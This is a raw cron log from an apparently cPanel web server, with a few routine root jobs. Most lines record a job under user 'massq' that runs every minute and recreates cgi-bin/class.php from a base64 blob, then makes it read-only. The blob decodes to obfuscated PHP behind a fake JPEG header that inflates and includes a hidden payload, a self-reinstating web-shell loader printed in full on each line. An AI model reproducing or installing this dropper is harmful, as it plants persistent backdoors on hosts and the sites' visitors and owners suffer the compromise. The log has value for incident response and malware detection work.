Nov 12 19:53:01 server CROND[19110]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:54:01 server CROND[19980]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:55:01 server CROND[20846]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:55:01 server CROND[20847]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 19:55:01 server CROND[20848]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 19:56:01 server CROND[21755]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:57:01 server CROND[22702]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 19:57:01 server CROND[22704]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:58:01 server CROND[23614]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:59:01 server CROND[24499]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:00:01 server CROND[25284]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 20:00:01 server CROND[25285]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 20:00:01 server CROND[25287]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:00:01 server CROND[25288]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 20:00:01 server CROND[25286]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 12 20:01:01 server CROND[25611]: (root) CMD (run-parts /etc/cron.hourly)
Nov 12 20:01:01 server CROND[25611]: (root) CMD (run-parts /etc/cron.hourly)
Nov 12 20:01:01 server CROND[25612]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:01:01 server run-parts(/etc/cron.hourly)[25611]: starting 0anacron
Nov 12 20:01:01 server run-parts(/etc/cron.hourly)[25625]: finished 0anacron
Nov 12 20:02:01 server CROND[26587]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:03:01 server CROND[27460]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:04:01 server CROND[28274]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:05:01 server CROND[29147]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 20:05:01 server CROND[29146]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 20:05:01 server CROND[29148]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 12 20:05:01 server CROND[29150]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 20:05:01 server CROND[29153]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
